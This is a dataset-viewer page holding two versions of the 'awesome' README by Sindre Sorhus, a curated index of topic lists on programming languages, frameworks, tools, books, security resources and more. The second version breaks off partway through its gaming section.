Datasets:

CyberNative

/

github_cybersecurity_READMEs

like 11

<h1 align="center"> <br> <img width="400" src="https://cdn.rawgit.com/sindresorhus/awesome/master/media/logo.svg" alt="awesome"> <br> <br> <br> </h1> > A curated list of awesome lists - [What is an awesome list?](awesome.md) - [Contribution guide](contributing.md) - [Creating a list](create-list.md) - [Buy a sticker](https://www.stickermule.com/marketplace/10034-awesome) - [Chat](https://gitter.im/sindresorhus/awesome) Just type [`awesome.re`](https://awesome.re) to go here. ✨ - Check out my [blog](https://blog.sindresorhus.com) and follow me on [Twitter](https://twitter.com/sindresorhus). ## Contents - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-End Development](#front-end-development) - [Back-End Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Development Environment](#development-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Media](#media) - [Learn](#learn) - [Security](#security) - [Content Management Systems](#content-management-systems) - [Miscellaneous](#miscellaneous) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs) - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks) - [iOS](https://github.com/vsouza/awesome-ios) - [Android](https://github.com/JStumpp/awesome-android) - [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid) - [Electron](https://github.com/sindresorhus/awesome-electron) - [Cordova](https://github.com/busterc/awesome-cordova) - [React Native](https://github.com/jondot/awesome-react-native) - [Xamarin](https://github.com/benoitjadinon/awesome-xamarin) - [Linux](https://github.com/aleksandar-todorovic/awesome-linux) - [Containers](https://github.com/Friz-zy/awesome-linux-containers) - [macOS](https://github.com/iCHAIT/awesome-macOS) - [Command-Line](https://github.com/herrbischoff/awesome-osx-command-line) - [Screensavers](https://github.com/aharris88/awesome-macos-screensavers) - [watchOS](https://github.com/yenchenlin/awesome-watchos) - [JVM](https://github.com/deephacks/awesome-jvm) - [Salesforce](https://github.com/mailtoharshit/awesome-salesforce) - [Amazon Web Services](https://github.com/donnemartin/awesome-aws) - [Windows](https://github.com/Awesome-Windows/Awesome) - [IPFS](https://github.com/ipfs/awesome-ipfs) - [Fuse](https://github.com/vinkla/awesome-fuse) - [Heroku](https://github.com/ianstormtaylor/awesome-heroku) - [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more. ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript) - [Promises](https://github.com/wbinnssmith/awesome-promises) - [Standard Style](https://github.com/feross/awesome-standard) - [Must Watch Talks](https://github.com/bolshchikov/js-must-watch) - [Tips](https://github.com/loverajoel/jstips) - [Network Layer](https://github.com/Kikobeats/awesome-network-js) - [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages) - [Mad Science npm Packages](https://github.com/feross/awesome-mad-science) - [Maintenance Modules](https://github.com/maxogden/maintenance-modules) - For npm packages. - [npm](https://github.com/sindresorhus/awesome-npm) - [AVA](https://github.com/avajs/awesome-ava) - Test runner. - [ESLint](https://github.com/dustinspecker/awesome-eslint) - [Functional Programming](https://github.com/stoeffel/awesome-fp-js) - [Observables](https://github.com/sindresorhus/awesome-observables) - [Swift](https://github.com/matteocrippa/awesome-swift) - [Education](https://github.com/hsavit1/Awesome-Swift-Education) - [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds) - [Python](https://github.com/vinta/awesome-python) - [Rust](https://github.com/kud1ing/awesome-rust) - [Haskell](https://github.com/krispo/awesome-haskell) - [PureScript](https://github.com/passy/awesome-purescript) - [Go](https://github.com/avelino/awesome-go) - [Scala](https://github.com/lauris/awesome-scala) - [Ruby](https://github.com/markets/awesome-ruby) - [Events](https://github.com/planetruby/awesome-events) - [Clojure](https://github.com/razum2um/awesome-clojure) - [ClojureScript](https://github.com/hantuzun/awesome-clojurescript) - [Elixir](https://github.com/h4cc/awesome-elixir) - [Elm](https://github.com/isRuslan/awesome-elm) - [Erlang](https://github.com/drobakowski/awesome-erlang) - [Julia](https://github.com/svaksha/Julia.jl) - [Lua](https://github.com/LewisJEllis/awesome-lua) - [C](https://github.com/aleksandar-todorovic/awesome-c) - [C/C++](https://github.com/fffaraz/awesome-cpp) - [R](https://github.com/qinwf/awesome-R) - [D](https://github.com/zhaopuming/awesome-d) - [Common Lisp](https://github.com/CodyReichert/awesome-cl) - [Perl](https://github.com/hachiojipm/awesome-perl) - [Groovy](https://github.com/kdabir/awesome-groovy) - [Dart](https://github.com/yissachar/awesome-dart) - [Java](https://github.com/akullpp/awesome-java) - [RxJava](https://github.com/eleventigers/awesome-rxjava) - [Kotlin](https://github.com/KotlinBy/awesome-kotlin) - [OCaml](https://github.com/rizo/awesome-ocaml) - [ColdFusion](https://github.com/seancoyne/awesome-coldfusion) - [Fortran](https://github.com/rabbiabram/awesome-fortran) - [.NET](https://github.com/quozd/awesome-dotnet) - [Core](https://github.com/thangchung/awesome-dotnet-core) - [PHP](https://github.com/ziadoz/awesome-php) - [Composer](https://github.com/jakoch/awesome-composer) - [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi) - [Assembler](https://github.com/brainblowjob/awesome-asm) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey) - [AutoIt](https://github.com/J2TeaM/awesome-AutoIt) - [Crystal](https://github.com/veelenga/awesome-crystal) - [TypeScript](https://github.com/dzharii/awesome-typescript) - [Frege](https://github.com/sfischer13/awesome-frege) - Haskell for the JVM. - [CMake](https://github.com/onqtam/awesome-cmake) - Build, test, and package software. ## Front-End Development - [ES6 Tools](https://github.com/addyosmani/es6-tools) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo) - [Web Tools](https://github.com/lvwzhen/tools) - [CSS](https://github.com/sotayamashita/awesome-css) - [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools) - [Scalability](https://github.com/davidtheclark/scalable-css-reading-list) - [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css) - [Protips](https://github.com/AllThingsSmitty/css-protips) - [React](https://github.com/enaqx/awesome-react) - [Relay](https://github.com/expede/awesome-relay) - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way) - [Polymer](https://github.com/Granze/awesome-polymer) - [Angular 2](https://github.com/AngularClass/awesome-angular2) - [Angular](https://github.com/gianarb/awesome-angularjs) - [Backbone](https://github.com/sadcitizen/awesome-backbone) - [HTML5](https://github.com/diegocard/awesome-html5) - [SVG](https://github.com/willianjusten/awesome-svg) - [Canvas](https://github.com/raphamorim/awesome-canvas) - [KnockoutJS](https://github.com/dnbard/awesome-knockout) - [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo) - [Inspiration](https://github.com/NoahBuscher/Inspire) - [Ember](https://github.com/nmec/awesome-ember) - [Android UI](https://github.com/wasabeef/awesome-android-ui) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui) - [Meteor](https://github.com/Urigo/awesome-meteor) - [BEM](https://github.com/sturobson/BEM-resources) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox) - [Web Typography](https://github.com/deanhume/typography) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y) - [Material Design](https://github.com/sachin1092/awesome-material) - [D3](https://github.com/wbkd/awesome-d3) - [Emails](https://github.com/jonathandion/awesome-emails) - [jQuery](https://github.com/peterkokot/awesome-jquery) - [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know) - [Web Audio](https://github.com/notthetup/awesome-webaudio) - [Offline-First](https://github.com/pazguille/offline-first) - [Static Website Services](https://github.com/aharris88/awesome-static-website-services) - [A-Frame VR](https://github.com/aframevr/awesome-aframe) - Virtual reality. - [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs) - [Text Editing](https://github.com/dok/awesome-text-editing) - [Motion UI Design](https://github.com/fliptheweb/motion-ui-design) - [Vue.js](https://github.com/vuejs/awesome-vue) - [Marionette.js](https://github.com/sadcitizen/awesome-marionette) - [Aurelia](https://github.com/behzad888/awesome-aurelia) - [Charting](https://github.com/zingchart/awesome-charting) - [Ionic Framework 2](https://github.com/candelibas/awesome-ionic2) - [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools) - [PostCSS](https://github.com/jjaderg/awesome-postcss) - [Draft.js](https://github.com/nikgraf/awesome-draft-js) - Rich text editor framework for React. - [Service Workers](https://github.com/TalAter/awesome-service-workers) - [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps) - [choo](https://github.com/YerkoPalma/awesome-choo) - App framework. - [Redux](https://github.com/brillout/awesome-redux) - State container for JavaScript apps. - [webpack](https://github.com/d3viant0ne/awesome-webpack) - Module bundler. - [Browserify](https://github.com/ungoldman/awesome-browserify) - Module bundler. ## Back-End Development - [Django](https://github.com/rosarior/awesome-django) - [Flask](https://github.com/humiaozuzu/awesome-flask) - [Docker](https://github.com/veggiemonk/awesome-docker) - [Vagrant](https://github.com/iJackUA/awesome-vagrant) - [Pyramid](https://github.com/uralbash/awesome-pyramid) - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp) - [Symfony](https://github.com/sitepoint/awesome-symfony) - [Education](https://github.com/Symfonisti/awesome-symfony-education) - [Laravel](https://github.com/chiraggude/awesome-laravel) - [Education](https://github.com/fukuball/Awesome-Laravel-Education/blob/master/langs/en_US.md) - [Rails](https://github.com/ekremkaraca/awesome-rails) - [Gems](https://github.com/hothero/awesome-rails-gem) - [Phalcon](https://github.com/sergeyklay/awesome-phalcon) - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess) - [nginx](https://github.com/fcambus/nginx-resources) - [Dropwizard](https://github.com/stve/awesome-dropwizard) - [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes) - [Lumen](https://github.com/unicodeveloper/awesome-lumen) - [Serverless Framework](https://github.com/JustServerless/awesome-serverless) - [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket) - Java web app framework. - [Vert.x](https://github.com/vert-x3/vertx-awesome) - Toolkit for building reactive apps on the JVM. ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses) - [Data Science](https://github.com/okulbilisim/awesome-datascience) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning) - [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials) - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing) - [Spanish](https://github.com/dav009/awesome-spanish-nlp) - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics) - [Cryptography](https://github.com/sobolevn/awesome-cryptography) - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) - Neural networks. - [TensorFlow](https://github.com/jtoy/awesome-tensorflow) - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision) - [Open Source Society University](https://github.com/open-source-society/computer-science) - [Functional Programming](https://github.com/lucasviola/awesome-functional-programming) - [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis) - [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn) ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata) - [Public Datasets](https://github.com/caesar0301/awesome-public-datasets) - [Hadoop](https://github.com/youngwookim/awesome-hadoop) - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering) - [Streaming](https://github.com/manuzhang/awesome-streaming) ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love) - [Talks](https://github.com/JanVanRyswyck/awesome-talks) - [Algorithms](https://github.com/tayllan/awesome-algorithms) - [Algorithm Visualizations](https://github.com/enjalot/algovis) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization) - [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming) - [Math](https://github.com/rossant/awesome-math) ## Books - [Free Programming Books](https://github.com/vhf/free-programming-books) - [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md) - [Go Books](https://github.com/dariubs/GoBooks) - [R Books](https://github.com/RomanTsegelskyi/rbooks) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books) - [Book Authoring](https://github.com/TalAter/awesome-book-authoring) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks) - [Vim](https://github.com/mhinz/vim-galore) - [Emacs](https://github.com/emacs-tw/awesome-emacs) - [Atom](https://github.com/mehcode/awesome-atom) - [Visual Studio Code](https://github.com/viatsko/awesome-vscode) ## Gaming - [Game Development](https://github.com/ellisonleao/magictools) - [Game Talks](https://github.com/hzoo/awesome-gametalks) - [Godot](https://github.com/Calinou/awesome-godot) - Game engine. - [Open Source Games](https://github.com/leereilly/games) - [Unity](https://github.com/RyanNielson/awesome-unity) - Game engine. - [Chess](https://github.com/hkirat/awesome-chess) - [LÖVE](https://github.com/love2d-community/awesome-love2d) - Game engine. - [PICO-8](https://github.com/felipebueno/awesome-PICO-8) - Fantasy console. - [Game Boy Development](https://github.com/avivace/awesome-gbdev) ## Development Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins) - For macOS. - [Dev Env](https://github.com/jondot/awesome-devenv) - [Dotfiles](https://github.com/webpro/awesome-dotfiles) - [Shell](https://github.com/alebcay/awesome-shell) - [Fish](https://github.com/fisherman/awesome-fish) - [Command-Line Apps](https://github.com/aharris88/awesome-cli-apps) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins) - [GitHub](https://github.com/phillipadsmith/awesome-github) - [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github) - [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet) - [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet) - [Git Tips](https://github.com/git-tips/tips) - [Git Add-ons](https://github.com/stevemao/awesome-git-addons) - Enhance the `git` CLI. - [SSH](https://github.com/moul/awesome-ssh) - [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev) - [Hyper](https://github.com/bnb/awesome-hyper) ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi) - Scifi. - [Fantasy](https://github.com/RichardLitt/awesome-fantasy) - [Podcasts](https://github.com/guipdutra/awesome-geek-podcasts) - [Email Newsletters](https://github.com/vredniy/awesome-newsletters) ## Databases - [Database](https://github.com/numetriclabz/awesome-db) - [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy) - [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb) - [Neo4j](https://github.com/Neueda4j/awesome-neo4j) - [Doctrine](https://github.com/TomasVotruba/awesome-doctrine) - PHP ORM. - [MongoDB](https://github.com/ramnes/awesome-mongodb) - [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb) - [TinkerPop](https://github.com/mohataher/awesome-tinkerpop) - Graph computing framework. ## Media - [Creative Commons Media](https://github.com/shime/creative-commons-media) - [Fonts](https://github.com/brabadu/awesome-fonts) - [Codeface](https://github.com/chrissimpkins/codeface) - Text editor fonts. - [Stock Resources](https://github.com/neutraltone/awesome-stock-resources) - [GIF](https://github.com/ibaaj/awesome-gif) - [Music](https://github.com/ciconia/awesome-music) - [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents) - [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization) - [Broadcasting](https://github.com/ebu/awesome-broadcasting) ## Learn - [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper) - Interactive tutorials. - [Learn to Program](https://github.com/karlhorky/learn-to-program) - [Speaking](https://github.com/matteofigus/awesome-speaking) - [Tech Videos](https://github.com/lucasviola/awesome-tech-videos) - [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning) - [Computer History](https://github.com/watson/awesome-computer-history) - [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids) ## Security - [Application Security](https://github.com/paragonie/awesome-appsec) - [Security](https://github.com/sbilly/awesome-security) - [CTF](https://github.com/apsdehal/awesome-ctf) - Capture The Flag. - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) - [Android Security](https://github.com/ashishb/android-security-awesome) - [Hacking](https://github.com/carpedm20/awesome-hacking) - [Honeypots](https://github.com/paralax/awesome-honeypots) - [Incident Response](https://github.com/meirwah/awesome-incident-response) - [Vehicle Security and Car Hacking](https://github.com/jaredmichaelsmith/awesome-vehicle-security) ## Content Management Systems - [Umbraco](https://github.com/leekelleher/awesome-umbraco) - [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms) - [Wagtail](https://github.com/springload/awesome-wagtail) – Django CMS focused on flexibility and user experience. - [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern) - Lightweight PHP-based CMS. ## Miscellaneous - [JSON](https://github.com/burningtree/awesome-json) - [GeoJSON](https://github.com/tmcw/awesome-geojson) - [Datasets](https://github.com/jdorfman/awesome-json-datasets) - [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev) - [Slack](https://github.com/matiassingers/awesome-slack) - [Communities](https://github.com/filipelinhares/awesome-slack) - [Conferences](https://github.com/RichardLitt/awesome-conferences) - [Sysadmin](https://github.com/n1trux/awesome-sysadmin) - [Radio](https://github.com/kyleterry/awesome-radio) - [Awesome](https://github.com/sindresorhus/awesome) - [Analytics](https://github.com/onurakpolat/awesome-analytics) - [Open Companies](https://github.com/opencompany/awesome-open-company) - [REST](https://github.com/marmelab/awesome-rest) - [Selenium](https://github.com/christian-bromann/awesome-selenium) - [Appium](https://github.com/SrinivasanTarget/awesome-appium) - Test automation tool for apps. - [Endangered Languages](https://github.com/RichardLitt/endangered-languages) - [Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd) - [Services Engineering](https://github.com/mmcgrana/services-engineering) - [Free for Developers](https://github.com/ripienaar/free-for-dev) - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin) - [Answers](https://github.com/cyberglot/awesome-answers) - Stack Overflow, Quora, etc. - [Sketch](https://github.com/diessica/awesome-sketch) - Design app for macOS. - [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job) - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates) - [Readme](https://github.com/matiassingers/awesome-readme) - [Tools](https://github.com/cjbarber/ToolsOfTheTrade) - [Styleguides](https://github.com/RichardLitt/awesome-styleguides) - [Design and Development Guides](https://github.com/NARKOZ/guides) - [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs) - [Self Hosted](https://github.com/Kickball/awesome-selfhosted) - [FOSS Production Apps](https://github.com/jwaterfaucett/awesome-foss-apps) - [Gulp](https://github.com/alferov/awesome-gulp) - [AMA](https://github.com/sindresorhus/amas) - Ask Me Anything. - [Answers](https://github.com/stoeffel/awesome-ama-answers) - [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography) - [OpenGL](https://github.com/eug/awesome-opengl) - [Productivity](https://github.com/jyguyomarch/awesome-productivity) - [GraphQL](https://github.com/chentsulin/awesome-graphql) - [Transit](https://github.com/luqmaan/awesome-transit) - [Research Tools](https://github.com/emptymalei/awesome-research) - [Niche Job Boards](https://github.com/wfhio/awesome-job-boards) - [Data Visualization](https://github.com/fasouto/awesome-dataviz) - [Social Media Share Links](https://github.com/vinkla/share-links) - [Microservices](https://github.com/mfornos/awesome-microservices) - [Unicode](https://github.com/jagracey/Awesome-Unicode) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints) - [Internet of Things](https://github.com/HQarroum/awesome-iot) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners) - [Bluetooth Beacons](https://github.com/beaconinside/awesome-beacon) - [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions) - [Ripple](https://github.com/vhpoet/awesome-ripple) - Open source distributed settlement network. - [Katas](https://github.com/gmontalvoriv/awesome-katas) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism) - [Citizen Science](https://github.com/dylanrees/citizen-science) - Resources for community-based and non-institutional scientists. - [TAP](https://github.com/sindresorhus/awesome-tap) - Test Anything Protocol. - [Robotics](https://github.com/Kiloreux/awesome-robotics) - [MQTT](https://github.com/hobbyquaker/awesome-mqtt) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/diasdavid/awesome-hacking-spots) - [For Girls](https://github.com/cristianoliveira/awesome4girls) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal) - Node.js CLI framework. - [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr) - Goal setting & communication best practices. - [Vulkan](https://github.com/vinjn/awesome-vulkan) - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX) - Typesetting language. - [Network Analysis](https://github.com/briatte/awesome-network-analysis) - [Economics](https://github.com/antontarasenko/awesome-economics) - An economist's starter kit. - [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs) - Checklist for building your own electric guitar. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics) - [Colorful](https://github.com/Siddharth11/Colorful) - Resources to choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace) - Dynamic tracing framework. - [Userscripts](https://github.com/brunocvcunha/awesome-userscripts) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon) - Pokémon and Pokémon GO resources and tools. - [ChatOps](https://github.com/exAspArk/awesome-chatops) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/willempienaar/awesome-quantified-self) - Self-tracking through technology. - [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows) - Productivity app for macOS. ## License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.

<h1 align="center"> <br> <img width="400" src="https://rawgit.com/sindresorhus/awesome/master/media/logo.svg" alt="awesome"> <br> <br> <br> </h1> > A curated list of awesome lists [What makes for an awesome list?](awesome.md) If you want to contribute, please read the [contribution guidelines](contributing.md). ## TOC - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-end Development](#front-end-development) - [Back-end Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Developer Environment](#developer-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Resources](#resources) - [Learn](#learn) - [Security](#security) - [Miscellaneous](#miscellaneous) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs) - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks) - [iOS](https://github.com/vsouza/awesome-ios) - [Android](https://github.com/JStumpp/awesome-android) - [Hybrid Apps](https://github.com/weblancaster/awesome-hybrid) - [Electron](https://github.com/sindresorhus/awesome-electron) - [Cordova](https://github.com/busterc/awesome-cordova) - [React Native](https://github.com/jondot/awesome-react-native) - [Xamarin](https://github.com/benoitjadinon/awesome-xamarin) - [Linux](https://github.com/aleksandar-todorovic/awesome-linux) ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript) - [Swift](https://github.com/matteocrippa/awesome-swift) - [Python](https://github.com/vinta/awesome-python) - [Rust](https://github.com/kud1ing/awesome-rust) - [Haskell](https://github.com/krispo/awesome-haskell) - [PureScript](https://github.com/passy/awesome-purescript) - [Go](https://github.com/avelino/awesome-go) - [Scala](https://github.com/lauris/awesome-scala) - [Ruby](https://github.com/markets/awesome-ruby) - [Ruby Events](https://github.com/planetruby/awesome-events) *(Conferences, Meetups, etc.)* - [Clojure](https://github.com/razum2um/awesome-clojure) - [Elixir](https://github.com/h4cc/awesome-elixir) - [Elm](https://github.com/isRuslan/awesome-elm) - [Erlang](https://github.com/drobakowski/awesome-erlang) - [Julia](https://github.com/svaksha/Julia.jl) - [Lua](https://github.com/LewisJEllis/awesome-lua) - [C](https://github.com/aleksandar-todorovic/awesome-c) - [C/C++](https://github.com/fffaraz/awesome-cpp) - [R](https://github.com/qinwf/awesome-R) - [D](https://github.com/zhaopuming/awesome-d) - [Perl](https://github.com/hachiojipm/awesome-perl) - [Groovy](https://github.com/kdabir/awesome-groovy) - [Dart](https://github.com/yissachar/awesome-dart) - [Java](https://github.com/akullpp/awesome-java) - [OCaml](https://github.com/rizo/awesome-ocaml) - [Coldfusion](https://github.com/seancoyne/awesome-coldfusion) - [Fortran](https://github.com/rabbiabram/awesome-fortran) - [.NET](https://github.com/quozd/awesome-dotnet) - [PHP](https://github.com/ziadoz/awesome-php) - [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi) - [Assembler](https://github.com/mat0thew/awesome-asm) - [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey) - [Crystal](https://github.com/veelenga/awesome-crystal) ## Front-end Development - [JavaScript Must Watch Talks](https://github.com/bolshchikov/js-must-watch) - [ES6 Tools](https://github.com/addyosmani/es6-tools) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo) - [Web Tools](https://github.com/lvwzhen/tools) - [Above-the-fold CSS Tools](https://github.com/addyosmani/above-the-fold-css-tools) - [React](https://github.com/enaqx/awesome-react) - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way) - [Polymer](https://github.com/Granze/awesome-polymer) - [AngularJS](https://github.com/gianarb/awesome-angularjs) - [Backbone](https://github.com/instanceofpro/awesome-backbone) - [HTML5](https://github.com/diegocard/awesome-html5) - [SVG](https://github.com/willianjusten/awesome-svg) - [KnockoutJS](https://github.com/dnbard/awesome-knockout) - [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo) - [Inspiration](https://github.com/NoahBuscher/Inspire) - [Ember](https://github.com/nmec/awesome-ember) - [Android UI](https://github.com/wasabeef/awesome-android-ui) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui) - [Scalable CSS](https://github.com/davidtheclark/scalable-css-reading-list) - [Meteor](https://github.com/Urigo/awesome-meteor) - [BEM](https://github.com/sturobson/BEM-resources) - [CSS Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox) - [Web Typography](https://github.com/deanhume/typography) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y) - [Material Design](https://github.com/sachin1092/awesome-material) - [CSS](https://github.com/sota0805/awesome-css) - [D3](https://github.com/wbkd/awesome-d3) ## Back-end Development - [Django](https://github.com/rosarior/awesome-django) - [Flask](https://github.com/humiaozuzu/awesome-flask) - [Docker](https://github.com/veggiemonk/awesome-docker) - [Vagrant](https://github.com/iJackUA/awesome-vagrant) - [Pyramid](https://github.com/ITCase/awesome-pyramid) - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp) - [Symfony2](https://github.com/EmanueleMinotto/awesome-symfony2) - [Laravel](https://github.com/chiraggude/awesome-laravel) - [Rails](https://github.com/ekremkaraca/awesome-rails) - [Phalcon](https://github.com/sergeyklay/awesome-phalcon) - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess) - [nginx](https://github.com/fcambus/nginx-resources) - [Dropwizard](https://github.com/stve/awesome-dropwizard) ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses) - [Data Science](https://github.com/okulbilisim/awesome-datascience) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning) - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing) - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics) - [Cryptography](https://github.com/MaciejCzyzewski/retter) - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) *(Neural networks)* - [Deep Vision](https://github.com/kjw0612/awesome-deep-vision) ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata) - [Public Datasets](https://github.com/caesar0301/awesome-public-datasets) - [Hadoop](https://github.com/youngwookim/awesome-hadoop) - [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering) ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love) - [Talks](https://github.com/JanVanRyswyck/awesome-talks) - [Algorithms](https://github.com/tayllan/awesome-algorithms) - [Algorithm Visualizations](https://github.com/enjalot/algovis) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization) ## Books - [Free Programming Books](https://github.com/vhf/free-programming-books) - [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md) - [GoBooks](https://github.com/dariubs/GoBooks) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks) - [Vim](http://vimawesome.com) - [Emacs](https://github.com/emacs-tw/awesome-emacs) - [Atom](https://github.com/mehcode/awesome-atom) ## Gaming - [Game Development](https://github.com/ellisonleao/magictools) - [Game Talks](https://github.com/hzoo/awesome-gametalks) - 